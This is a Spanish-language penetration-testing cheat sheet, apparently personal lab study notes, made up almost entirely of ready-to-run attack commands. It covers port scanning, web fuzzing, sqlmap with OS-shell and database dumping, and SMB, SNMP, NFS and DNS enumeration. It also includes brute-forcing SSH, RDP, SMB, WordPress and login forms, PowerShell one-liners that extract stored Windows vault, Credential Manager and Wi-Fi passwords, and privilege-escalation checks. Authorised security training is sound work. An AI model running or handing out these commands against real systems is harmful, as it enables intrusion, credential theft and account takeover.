ENUMERATION

Port Scanning

Masscan

sudo masscan -p80 10.11.1.0/24 --rate 1000 -e tap0 --router-ip IP_GW

Masscan POrt scanning.

masscan -p1-65535 192.168.5.12  --rate 1000

Nmap con Timing template.

T5 es demasiado rapido, T4 suele detectar todo.

nmap -T4 -p- -A IP

Stealth/SYN Scan

(No completa el TCP Handshake, solo mando un SYN y espera el SYN-ACK)

nmap -sS IP

TCP Connect Scan

(Completa three-way handshake (SYN SYN-ACK ACK) con lo cual tarda.)

nmap -sT IP

UDP Scanning

nmap -sU IP

Fast Scan.

nmap -sS -Pn --min-rate 4000 -p- IP
nmap -A -p- --min-rate=1000  -T4 10.10.10.123

Comprobar vulnerabilidades con nmap.

nmap -sS --script smb-vuln* -p445 10.10.10.40

Network Sweeping (Ver que IPs responden)

nmap -sn 10.10.10.1-254

OS Fingerprint

nmap -O IP
nmap -sV -sT -A IP

HTTP

Escanear contenido url

dirb http://victima.com -r -z 10 # -r para que no sea recursivo -z para agregar 10 ms al delay
wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ
gobuster dir -u URL -w WORDLIST -x EXTENSIONES

Escanear parametros

wfuzz -z range,0-10 --hl 97 http://testphp.vulnweb.com/listproducts.php?cat=FUZZ

Fuzzing Post Requests

wfuzz -z file,wordlist/others/common_pass.txt -d "uname=FUZZ&pass=FUZZ"  --hc 302 http://testphp.vulnweb.com/userinfo.php

Fuzzing Cookies

wfuzz -z file,wordlist/general/common.txt -b cookie=FUZZ http://testphp.vulnweb.com/FUZZ

Default Scan Nikto.

nikto -h http://victim.com

Nikto time limit.

Limita el scan a 30 secs.

nikto -host=http://victima.com -maxtime=30s 

Samba

Obtener usuarios

enum4linux -U IP

Obtener info

enum4linux IP

Identificar informacion NetBIOS.

nbtscan -r 10.11.1.0/24

Identificar vulnerabilidades con nmap.

nmap -v -p 139,445 --script=smb-vuln-ms08-067 IP

Listar recursos.

smbclient -L IP

Listar recursos carpeta.

smbclient \\\\IP\\CARPETA

No pide pass para el usuario que lo lanza.

smbclient -N \\\\IP\\CARPETA

Conectar con usuario.

smbclient \\\\IP\\CARPETA -U 'usuario'

Conectar con usuario/password.

smbmap -H DOMINIO -u usuario -p password -d DOMINIO

Montar carpeta

mount -t cifs \\\\IP\\SHARED_FOLDER /mnt/folder

Joomla

Wordpress

Escanear Wordpress.

wpscan --url http://example.com

Enumerar usuarios

wpscan --url http://example.com --enumerate u

Bruteforce Wordpress

wpscan -–url http://example.com -–passwords rockyou.txt -–usernames andy,maxine,paul,jackie

RPC

rpcinfo -p IP

SMTP

Verificar si existe usuario SMTP.

nc -nv IP 25
VRFY usuario

SQLMAP

sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --os-shell sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --dump

DNS

Transferencia de zona

dig axfr DOMINIO @IP_DNS_SERVER
host -t axfr DOMINIO IP_DNS_SERVER

Comprobar dominios intermedios:

wfuzz -c --hl 113 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "https://nsa-server.net" -H "Host: nsa-FUZZserver.net"

SNMP

Bruteforce community strings

echo public > com
echo private >> com
echo manager >> com
onesixtyone -c com -i IP

Enumerar arbol MIB

snmpwalk -c public -v1 -t 10 IP

Enumerar usuarios Windows

snmpwalk -c public -v1 IP 1.3.6.1.4.1.77.1.2.25

Enumerar procesos en windows

snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2

Enumerar puertos abiertos

snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3

NFS

Ver recursos NFS

showmount -e IP

Montar NFS

mount -t nfs NFS_SERVER:CARPETA CARPETA_LOCAL -o nolock

Bruteforce

Bruteforce SSH

crackmapexec ssh 10.10.10.187 -u usernames -p passwords

Bruteforce Wordpress

wpscan -–url http://example.com -–passwords rockyou.txt -–usernames andy,maxine,paul,jackie

Bruteforce Protocols

hydra -l usuario -P diccionario -f IP protocolo 

Bruteforce Puerto diferente.

hydra -l usuario -P diccionario -f IP protocolo -s PUERTO

Bruteforce Dominio samba

hydra -l usuario -P diccionario -f -m DOMINIO IP protocolo 

Bruteforce RDP

crowbar -b rdp -s IP -u usuario -C wordlist -n 3 #n es el numero de threads.

El parametro -s permite usar rango de ips. -s 10.11.0.22/32

Bruteforce SMB

medusa -h IP -u USUARIO -P diccionario.txt -M smbnt 

Bruteforce POST

hydra -l admin -P /usr/share/wordlists/rockyou.txt deliver.undiscovered.thm http-post-form "/cms/index.php:username=admin&userpw=^PASS^:password wrong" -V
hydra -f -L user.txt -P /opt/rockyou.txt 10.10.8.83 http-post-form "/cms/index.php:username=admin&userpw=^PASS^:password wrong" -t 50

Bruteforce HTTP Basic AUTH

wfuzz -u http://10.10.8.83 -H "Authorization : Basic FUZZ" -w userpass.txt --h459
wfuzz -w user.txt -w pass.txt --basic FUZZ:FUZZ http://10.10.8.83

Bruteforce HTTP AUTH

medusa -h 10.11.0.22 -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin

Windows

Powershell

Buscar ficheros interesantes.

gci c:\ -Include pass.txt,pass.xml,pass.ini,pass.xlsx,cred,vnc,.config,accounts -File -Recurse -EA SilentlyContinue

Buscar credenciales en Sysprep o Unattend files.

gci c:\ -Include sysprep.inf,sysprep.xml,sysprep.txt,unattended.xml,unattend.xml,unattend.txt -File -Recurse -EA SilentlyContinue

Buscar configuraciones con el string "password"

gci c:\ -Include .txt,.xml,.config,.conf,.cfg,.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"

Buscar credenciales de BBDD en ficheros de configuracion.

gci c:\ -Include .config,.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"

Localizar configuracion de web server.

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

Extraer password de Windows PasswordVault

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $.RetrievePassword();$ }

Extraer password del Windows Credential Manager

Get-StoredCredential | % { write-host -NoNewLine $.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }

Dumpear password de Google Chrome

Obtener password de la wifi.

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

Buscar SNMP community string.

gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue

Buscar un string en el registro.

$pattern = "password" $hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"

Buscar en las keys. foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }

Buscar en los valores. foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $.PsPath -ea SilentlyContinue) -match "$pattern") { $.PsPath; $_ | out-string -stream | sls "$pattern" }}}

Enumerar exploits Windows.

https://github.com/7ragnarok7/windows-exploit-suggester-2

systeminfo > systeminfo.txt

./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database 2014-06-06-mssb.xls --systeminfo win7sp1-systeminfo.txt

ipconfig /all route print netstat -ano #Hay que tener en cuenta que tb nos muestra las conexiones activas

Enumerating firewall status and rules

netsh advfirewall show currentprofile # Muestra si el firewall esta activo netsh advfirewall firewall show rule name=all # Ver todas las reglas del firewall

Enumerating Scheduled Tasks

schtasks /query /fo LIST /v #Para ver las tareas wmic product get name, version, vendor #Muestra todo el software instalado. wmic qfe get Caption, Description, HotFixID, InstalledON #Para ver todos los parches instalados.

Enumerating Readable/Writable Directories

Desde sysinternal se puede usar accesschk para ver donde tenemos permisos de escritura.

Buscar carpetas con permisos de escritura.

accesschk.exe -uws "Everyone" "C:\Program\Files" #u suprime errores, w writable, s recursivo.

Buscar carpetas con permisos de escritura.

Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"} # Igual que el anterior pero desde powershell

Enumerar discos conectados aunque no esten montados.

mountvol

Ver quien esta en el grupo Administradores.

net localgroup Administrators

Obtener datos

Da datos sobre el usuario.

net user sml

Indica todos los usuarios que existen

net user 

El ultimo grupo representa el integrity level.

whoami /groups

Ver estado de un servicio.

wmic service where caption="Serviio" get name, caption, state, startmode

Parar un servicio

net stop Serviio

Ver los privilegios.

whoami /priv

Informaciopn sobre el OS y ARCH.

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

Enumerar los servicios y los servicios asociados a el.

tasklist /SVC

Mirar permisos de un ejecutable. F Full access M Modify access TX Read an execute access R Read-only access W Write-only access.

icacls "C:\Program Files\Serviio\bin\ServiioService.exe"

Ver los servicios corriendo.

 Get-WmiObject win32_service | Select-Object Name, State, PathName| Where-Object {$_.State -like 'Running'}

Ver Drivers instalados.

driverquery.exe /

Muestra una lista de drivers cargados.

driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path # Desde Powershell

Para filtrar los drivers por nombre.

Get-WmiObject Win32_PnPSignedDriver | Select-Object Devicename, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"} #Muestra drive y version buscando por nombre

Obtener informacion de un programa, podemos ver tema de los privilegios.

sigcheck.exe -a -m C:\Windows\System32\fodhelper.exe

AlwaysInstalledElevated

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

Windows privesc checker

windows-privesc-check2.exe --dump -G

Linux

Enumerar exploits Linux

linpeas.sh

pspy64

Suid Binary

find / -perm -u=s -type f 2>/dev/null

Capabilities

getcap -r / 2>/dev/null